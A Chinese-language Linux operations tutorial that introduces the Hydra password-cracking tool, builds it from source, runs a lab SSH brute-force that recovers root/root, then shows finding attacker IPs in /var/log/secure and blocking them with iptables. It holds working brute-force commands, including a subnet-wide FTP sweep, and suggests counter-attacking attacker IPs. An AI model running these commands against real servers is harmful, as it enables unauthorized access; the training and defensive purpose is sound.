一、Hydra软件概念剖析
### --- Hydra软件概念剖析
~~~ Hydra是著名黑客组织thc的一款开源的暴力密码破解工具,可以在线破解多种密码。
~~~ Hydra中文翻译为:九头蛇,它是一款爆破神器。
~~~ 可以对多种服务的账号和密码进行爆破,包括Web登录、数据库、SSH、FTP等服务。
~~~ Hydra支持Linux、Windows、Mac平台安装和部署,部署方法和步骤也非常简单,
~~~ 其中Kali Linux中自带Hydra。Hydra官 网:http://www.thc.org/thc-hydra
~~~ 可支持AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird,
~~~ FTP, HTTP-FORM-GET,HTTP-FORM-POST,HTTP-GET,HTTP-HEAD,HTTP-PROXY,
~~~ HTTPS-FORM-GET,HTTPS-FORM-POST,HTTPS-GET,HTTPS-HEAD, HTTP-Proxy, ICQ,
~~~ IMAP, IRC, LDAP, MS-SQL, MYSQL , NCP, NNTP, Oracle Listener , Oracle SID, Oracle,
~~~ PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB,
~~~ SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2),
~~~ Telnet, VMware-Auth, VNC and XMPP等类型密码。
二、黑客攻击Linux服务器&漏洞修复实战
### --- 在企业生产环境中,
~~~ # 在企业生产环境中,
~~~ 黑客攻击Linux服务器(业务系统、门户网站、数据等)常见的攻击手段,攻击方式有哪些呢?
~~~ SQL注入攻击
~~~ CC网页攻击
~~~ SYN Flood攻击
~~~ 勒索病毒攻击
~~~ 上传木马文件
~~~ DDOS攻击
~~~ 暴力破解攻击
### --- 模拟Hydra暴力破解Linux服务器
~~~ # 模拟Hydra暴力破解Linux服务器
~~~ 设置防御规则抵挡黑客攻击&反攻击实战;
~~~ 学习Linux技术,后期从事Linux运维方面的工作,
~~~ 作为运维人员最主要的工作职责之一:
~~~ 保障企业服务器、门户网站、业务系统、数据库等高效的、稳定的、安全的运行,
~~~ 一旦被黑客攻击,能够第一时间去解决漏洞&补丁修复等。
~~~ 暴力破解攻击是黑客人员最常使用的攻击方式之一,
~~~ 暴力破解的实施门槛、难度很低,其攻击效果非常明显,
~~~ 一旦服务器被黑客暴力破解,直接导致服务器的用户名和密码被泄露。
~~~ 暴力破解攻击原理:黑客使用暴力破解工具(Hydra)攻击Linux服务器,批量的、
~~~ 并发的读取用户名字典、密码字典文件,企图以字典中的用户名和密码远程SSH登录到目标服务器,
~~~ 扫描、试探出远程Linux服务器正确的用户名和密码。
~~~ Hydra是一款开源的、免费的暴力破解工具,是由THC世界著名的黑客组织对外开源的,
~~~ Hydra主要是用于破解Linux服务器、门户网站、数据库、文件服务器等的用户名和密码。
三、Hydra部署安装操作:
### --- 基于CentOS7.x Linux操作系统,
~~~ 从0开始构建一套Hydra软件平台,主要是基于MAKE源码编译方式,部署的步骤和方法如下:
~~~ # 从THC官网下载软件包(-c continue断点续传,-P 指定下载目录);
[root@localhost ~]# wget -c https://www.thc.org/releases/hydra-8.1.tar.gz -P /usr/src/
[root@localhost ~]# wget --no-check-certificate https://www.thc.org/releases/hydra-8.1.tar.gz //这条命令可以下载
[root@localhost ~]# wget https://github.com/vanhauser-thc/thc-hydra/archive/master.zip //GitHub地址下载
~~~ # 通过Tar工具对其解压缩(-x extract解压,-z gzip压缩格式,-v verbose详细显示,-f file文件属性);
[root@localhost ~]# tar -xzvf /usr/src/thc-hydra-master.tar.gz
[root@localhost ~]# cd thc-hydra-master/
~~~ # 因为Hydra是基于C语言开发的源代码程序,默认是不能被Linux操作系统直接使用的,需借助C编译器将源代码文件编译生成二进制文件,所以需执行源代码软件包部署三个步骤。
[root@localhost ~]# yum install -y libssh* gcc // 提前部署Hydra编译时所需的依赖包、libssh库文件;
~~~ # 预编译;
[root@localhost thc-hydra-master]# ./configure --prefix=/usr/local/hydra/
Writing Makefile.in ...
now type "make"
~~~ # 编译;
[root@localhost thc-hydra-master]# make
Now type make install
~~~ # 安装;
[root@localhost thc-hydra-master]# make install
[root@localhost ~]# ls -l /usr/local/hydra/ // 查看Hydra软件是否部署成功;
hydra -l admin -p password ftp://[192.168.0.0/24]/ // 可以查看到hydra的信息说明成功
hydra -L logins.txt -P pws.txt -M targets.txt ssh
[root@localhost ~]# /usr/local/hydra/bin/hydra -h // 查看Hydra工具帮助信息或者版本;
[root@localhost ~]# cat>>/etc/profile<<EOF // 将Hydra程序bin目录加入到PATH环境变量中;
export PATH=\$PATH:/usr/local/hydra/bin/ // 执行命令时就不会再使用环境变量了
EOF
[root@localhost ~]# source /etc/profile // 使其环境变量生效
[root@localhost ~]# hydra // 说明我们的环境变量生效了,hydra也部署成功
### --- 基于Hydra工具暴力破解远程Linux服务器:192.168.1.58,
~~~ # 通过用户名和密码字典破解Linux服务器正确的用户名和密码,获取其超级特权权限,
~~~ # 操作的指令如下:
~~~ 攻击端IP:192.168.1.60
~~~ 目标端IP:192.168.1.61
~~~ -L,指定用户名字典文件;
~~~ -P,指定密码字典文件;
~~~ -t,指定并发读取用户名、密码字典线程数;
~~~ -Ssh,指定攻击时使用的协议;
~~~ -vV,显示攻击时的详细过程;
~~~ -s,指定远程目标服务器的试探端口;
~~~ -f,攻击到正确的用户名和密码,即退出。
[root@localhost ~]# hydra -L users.txt -P passwd.txt -t 4 192.168.1.58 ssh -vV -s 22 -f
[22][ssh] host: 192.168.1.58 login: root password: root // 拿到用户名root和密码root
四、设置防御规则抵挡黑客攻击&反攻击实战
### --- 设置防御规则抵挡黑客攻击&反攻击实战
~~~ 黑客使用Hydra暴力破解Linux服务器,Linux服务器会做什么反应和操作呢?
~~~ Linux服务器会做如下操作:
~~~ Linux会打开安全日志文件;
~~~ 通过安全日志文件记录黑客的IP地址;
~~~ 记录黑客攻击时使用的用户名,不会记录密码;
~~~ 记录黑客攻击的时间节点,攻击的状态成功or失败。
五、作为运维人员来讲,一旦Linux服务器遭受黑客暴力破解,
### --- 作为运维人员来讲,一旦Linux服务器遭受黑客暴力破解,
~~~ 根据服务器的操作、记录做出相应的策略和方法,具体能做哪些操作呢?
~~~ 找出Linux安全日志文件名称和位置;
~~~ 查找、过滤出黑客的IP地址
~~~ 统计、分析哪些黑客攻击次数最高,将其加入到Linux黑名单
~~~ 对linux服务器进行漏洞修复和弥补,
~~~ 对黑客的IP实施反攻击。
### --- 查找Linux服务器安全日志文件的位置
~~~ # 查找Linux系统打开的安全日志文件路径
~~~ # grep:匹配,-a:以文本方式匹配,-i忽略大小写 -V:反向选择,-E:多个参数,一起匹配
[root@localhost ~]# find / -name "*secure*"
[root@localhost ~]# find / -name "*secure*"|grep -aivE "docker"
[root@localhost ~]# find /var/ -name "*secure*"|grep -aivE "docker|man|python|jumpserver"
/var/log/secure
### --- 查找,过滤出黑客的IP地址:
~~~ # 查找,过滤出黑客的IP地址:
~~~ # 关键词:filed password;authentication failure关键词;可能是黑客的ip地址;表示远程ssh远程登录失败
~~~ # 匹配黑客异常登录的IP所在行的内容
[root@localhost ~]# more -14 /var/log/secure
~~~ # 通过Filed password字段查找黑客主机信息
[root@localhost ~]# grep -aiE "Failed password" /var/log/secure
~~~ # 将黑客的IP匹配出来:
[root@localhost ~]# grep -aiE "Failed password|authentication failure" /var/log/secure* |awk '{print $(NF-3)}' |more
~~~ # OR
[root@localhost ~]# grep -aiE "Failed password|authentication failure" /var/log/secure* |grep -aiowE "([0-9]{1,3}\.){3}[0-9]{1,3}"
### --- 如何将黑客IP访问次数排前20名的IP打印出来:
~~~ # 如何将黑客IP访问次数排前20名的IP打印出来:
~~~ # -o:单独打印给定值 // 打印登录失败的IP地址
[root@localhost ~]# grep -aiE "Failed password|authentication failure" /var/log/secure* |grep -aiowE "([0-9]{1,3}\.){3}[0-9]{1,3}"|more
~~~ # sort:逆向排序 // uniq:去重,-c:去重统计,
[root@localhost ~]# grep -aiE "Failed password|authentication failure" /var/log/secure* |grep -aiowE "([0-9]{1,3}\.){3}[0-9]{1,3}"|sort -n|uniq -c|sort -nr|more
~~~ # 打印前20名的ip地址; // head -20:排前20的ip;
[root@localhost ~]# grep -aiE "Failed password|authentication failure" /var/log/secure* |grep -aiowE "([0-9]{1,3}\.){3}[0-9]{1,3}"|sort -n|uniq -c|sort -nr|head -20
~~~ # print $2:打印第二列
[root@localhost ~]# grep -aiE "Failed password|authentication failure" /var/log/secure* |grep -aiowE "([0-9]{1,3}\.){3}[0-9]{1,3}"|sort -n|uniq -c|sort -nr|head -20|awk '{print $2}'
### --- 将黑客的IP地址打印出来并加入到黑名单
~~~ # 将黑客的IP地址打印出来并加入到黑名单
~~~ # -A顺序添加,-I指定特定列添加 -s:添加ip列表,
[root@localhost ~]# for ip in $(grep -aiE "Failed password|authentication failure" /var/log/secure* |grep -aiowE "([0-9]{1,3}\.){3}[0-9]{1,3}"|sort -n|uniq -c|sort -nr|head -20|awk '{print $2}');do iptables -t filter -A INPUT -s $ip/32 -m tcp -p tcp --dport 22 -j DROP;done
### --- 查看加入到黑名单的列表的IP地址:
~~~ # 查看加入到黑名单的列表的IP地址:
[root@localhost ~]# iptables -t filter -L -n --line-numbers
1 DROP tcp -- 192.168.1.60 0.0.0.0/0 tcp dpt:22
2 DROP tcp -- 192.168.1.101 0.0.0.0/0 tcp dpt:22